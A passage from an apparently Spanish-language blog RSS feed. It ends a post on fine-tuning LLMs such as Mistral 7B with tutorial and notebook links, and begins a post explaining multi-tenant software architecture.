href=&#34;https://m.do.co/c/a22240ebb8e7&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Digital Ocean&lt;/a&gt;&#xA; también tiene precios bastante competitivos y provee una amplia variedad de GPUs de donde elegir.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Mi recomendación es este pequeño libro de cien páginas sobre Machine Learning, trata de las bases del Machine Learning y todas las matemáticas necesarias para entender cómo se entrenan los modelos de IA. No te dejes engañar por su tamaño, es denso y un poco complicado. ¿Y por qué tan corto? El libro es tan corto porque deja de lado todo el relleno y se queda sólo con las partes cruciales del Machine Learning. Una advertencia, contiene muchas ecuaciones y no tiene exactamente cien páginas, sino un poco más.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro de cien páginas sobre Machine Learning\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103780/hundred-page-machine-learning-book_ueonkh.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3D3oMvN\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de The Hundred-Page Machine Learning y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;En dónde aprender las bases de AI y Machine Learning\&#34;},{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Ahora tenemos todo lo que necesitamos, revisemos el proceso brevemente.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tutoriales-sobre-fine-tuning-de-llm&#34;&gt;Tutoriales sobre fine-tuning de LLM&lt;/h2&gt;&#xA;&lt;p&gt;Para hacer Fine-tuning encontré bastante amenos estos videos, cortos y directo al grano, sin embargo no pude producir un modelo que funcionara siquiera, es posible que las notebooks estuvieran desactualizadas y probablemente mi inexperiencia jugó un rol en mi fracaso.&lt;/p&gt;&#xA;&lt;p&gt;Este es una buena introducción pero no comparte la notebook, aunque pude encontrarla en Google Colab, te dejo el enlace en la siguiente sección.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/pxhkDaKzBaY?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;p&gt;Éste chico es un más específico y su video es conciso.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/Q9zv369Ggfk?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Ahora que entendemos el proceso de manera general, ¿en dónde conseguimos una plantilla para hacer fine-tuning? No queremos escribir todo desde cero, ¿verdad?&lt;/p&gt;&#xA;&lt;h2 id=&#34;notebooks-para-hacer-fine-tuning-de-llm&#34;&gt;Notebooks para hacer fine-tuning de LLM.&lt;/h2&gt;&#xA;&lt;p&gt;Esta fue &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/brevdev/notebooks/blob/main/mistral-finetune-own-data.ipynb&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;la notebook que me permitió hacer fine-tuning al modelo Mistral&lt;/a&gt;&#xA;, con un par de modificaciones, claro.&lt;/p&gt;&#xA;&lt;p&gt;La mayoría de las notebooks solo necesitan que cambies el modelo y adaptes el dataset a la entrada del modelo, por lo que puedes usarlos como punto de partida para tu caso particular.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Otras que encontré particularmente bien explicadas pero no me funcionaron o produjeron resultados no deseados son estas:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.kaggle.com/code/kingabzpro/fine-tuning-deepseek-r1-reasoning-model&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Fine-tuning DeepSeek R1&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://colab.research.google.com/drive/135ced7oHytdxu3N2DNe1Z0kqjyYIkDXp&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Alpaca + Llama fine-tuning&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;donde-hacer-deploy-de-un-modelo-de-llm&#34;&gt;¿Dónde hacer deploy de un modelo de LLM?&lt;/h2&gt;&#xA;&lt;p&gt;Después de entrear tu modelo quizás querrás ponerlo a disposición de los demás.&lt;/p&gt;&#xA;&lt;p&gt;Generalmente existen herramientas como Gradio que abstraen el proceso de generar un servidor de chat como el de OpenAI, puedes montarlos por tu cuenta o usar de los que dispone HuggingFace, aunque obviamente por un costo mensual, los planes gratuitos solo tienen CPU y RAM, por lo que no suele ser suficiente para ejecutar tus LLM, sobre todo los grandes.&lt;/p&gt;&#xA;&lt;p&gt;Como mi proyecto fue con fines educativos y no quiero pagar por un plan premium, yo decidí dejar el código necesario para ejecutar mi modelo en una libreta de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://colab.research.google.com/drive/1Fe348rmXbDyvjoDPGEKrBtPurpfwnFgG&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;GoogleColab con el código necesario para ejecutarlo.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Intenté hacer fine-tuning de un modelo de DeepSeek pero fracasé, luego intenté hacerlo con Llama y tampoco pude conseguirlo, al final logré hacerlo con un modelo de Mistral, específicamente el de 7B de parámetros.&lt;/p&gt;&#xA;&lt;p&gt;Te comparto algunos recursos que encontré útiles durate el proceso. A pesar de estar jugando a entrenar LLMs, aún sigo creyendo que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/&#34;&gt;estamos en una burbuja de AI.&lt;/a&gt;&#xA; El &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/el-nuevo-dios-el-delirante-culto-a-la-ai-en-redes/&#34;&gt;delirante culto a la IA en redes sociales&lt;/a&gt;&#xA; es otro ejemplo de la sobrevaloración de la IA.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Arquitectura Multi Tenant En Software: Qué Es y Sus Patrones De Bases De Datos</title>
      <link>https://coffeebytes.dev/es/software-architecture/arquitectura-multi-tenant-en-software-que-es-y-sus-patrones-de-bases-de-datos/</link>
      <pubDate>Tue, 28 Jan 2025 17:44:50 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/software-architecture/arquitectura-multi-tenant-en-software-que-es-y-sus-patrones-de-bases-de-datos/</guid>
      
      <category>software architecture</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;El &lt;strong&gt;patrón multi tenant&lt;/strong&gt; es un enfoque de arquitectura (No confundir con &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/patrones-de-diseno-o-software-design-patterns/&#34;&gt;patrón de diseño&lt;/a&gt;&#xA; o &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/patrones-de-deployment-o-despliegue-utiles/&#34;&gt;patrón de despliegue&lt;/a&gt;&#xA;) en software donde &lt;strong&gt;una única instancia de una aplicación sirve a múltiples clientes&lt;/strong&gt; (o también podrías llamarlos inquilinos, que es la traducción de tenants). Es probable que hayas estado en contacto con este patrón de diseño al usar dropbox, Slack o cualquier SAAS de gestión de proyectos.&lt;/p&gt;&#xA;&lt;p&gt;En la arquitectura multi-tenant, cada tenant puede ser una empresa, un grupo o un usuario individual, y aunque comparten la misma infraestructura y código base, sus datos están &lt;strong&gt;aislados y personalizados&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;ejemplo-sencillo-de-aplicacion-multi-tenant-un-coworking-moderno&#34;&gt;Ejemplo Sencillo de aplicación multi-tenant: Un coworking moderno&lt;/h2&gt;&#xA;&lt;p&gt;La arquitectura multiusuario es similar a un edificio de oficinas moderno donde diferentes empresas (inquilinos) (como WeWork, pero con menos corrupción) comparten la misma infraestructura física (ascensores, sistemas de seguridad, servicios públicos y administración del edificio). Sin embargo, cada empresa cuenta con espacios de oficina completamente aislados con sus propios datos, configuraciones y personalizaciones, a los que otras empresas no pueden acceder.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este libro me mostró la manera en que las grandes empresas, como Youtube, Dropbox, Google, etc. diseñan sus sistemas para manejar peticiones astronómicas por segundo. Alex Xu te enseña cómo estructurar réplicas de bases de datos, caché, balanceadores de carga y todos los detalles sobre el diseño de software de clase empresarial, si estás interesado en aprender sobre sistemas que escalan, no debes perderte este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del System Design Interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41rodp3\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de System Design Interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;El mejor libro para aprender Arquitectura de Software\&#34;},{\&#34;description\&#34;:\&#34;No te conformes con SELECT, UPDATE, DELETE, JOINS y UNIONS, SQL tiene MUCHO MÁS que ofrecer para hacer tu día a día más fácil. Todavía no he terminado de leer este libro pero de momento tiene muy buena pinta. Actualizaré esto cuando lo termine pero hasta ahora me siento bastante cómodo recomendándotelo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada de SQL Pocket Guide\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103829/SQL-pocket-guide_udtfro.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3CYgHIO\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de SQL Pocket Guide y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;No te conformes con consultas SQL básicas\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Al igual que el propietario del edificio mantiene un conjunto de sistemas mientras presta servicio a varias empresas, una aplicación multiusuario presta servicio a varias organizaciones utilizando una única instancia de software e infraestructura de base de datos, &lt;strong&gt;con un estricto aislamiento de datos entre los inquilinos&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Esto difiere de una aplicación multiusuario simple (básicamente cualquier app simple), que se asemeja más a la oficina de una sola empresa donde todos los empleados comparten el mismo espacio de trabajo, datos y configuración (un godinato promedio si estás en México): todos ven la misma información y operan bajo las mismas reglas organizativas y &lt;del&gt;se ponen la misma camiseta&lt;/del&gt;. En cambio, en los sistemas multiusuario, cada inquilino opera como si tuviera su propia aplicación, con su propia base de usuarios, datos y, a menudo, funciones personalizadas.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1738123971/meme-millenial-cloud-provider_vzisiz.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1738123971/meme-millenial-cloud-provider_vzisiz.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Oh god no more AI API calls&#34; width=&#34;460&#34; height=&#34;466&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Llevando el ejemplo en algo más práctico, imaginate que quieres implementar un servicio de administración de tiendas de supermercado pequeñas. Cada tienda separada representaría un tenant, y cada tenant va a operarse de manera diferente al resto, tendrá su propia configuración, sus propios clientes, proveedores y cualquier otra configuración personalizada, además la información de cada tienda de supermercado será privada.&lt;/p&gt;&#xA;&lt;h2 id=&#34;en-que-se-diferencia-el-patron-multi-tenant-de-las-cuentas-de-usuario&#34;&gt;¿En qué se diferencia el patrón multi-tenant de las cuentas de usuario?&lt;/h2&gt;&#xA;&lt;p&gt;Cuando leí la primera vez sobre este patrón de arquitectura no pude encontrar las diferencias entre, digamos una aplicación muy configurable, como MySpace, por ejemplo, y una multi-tenant. Probablemente para ti fue muy clara la diferencia pero a mi me tomó por sorpresa y tuve que investigar 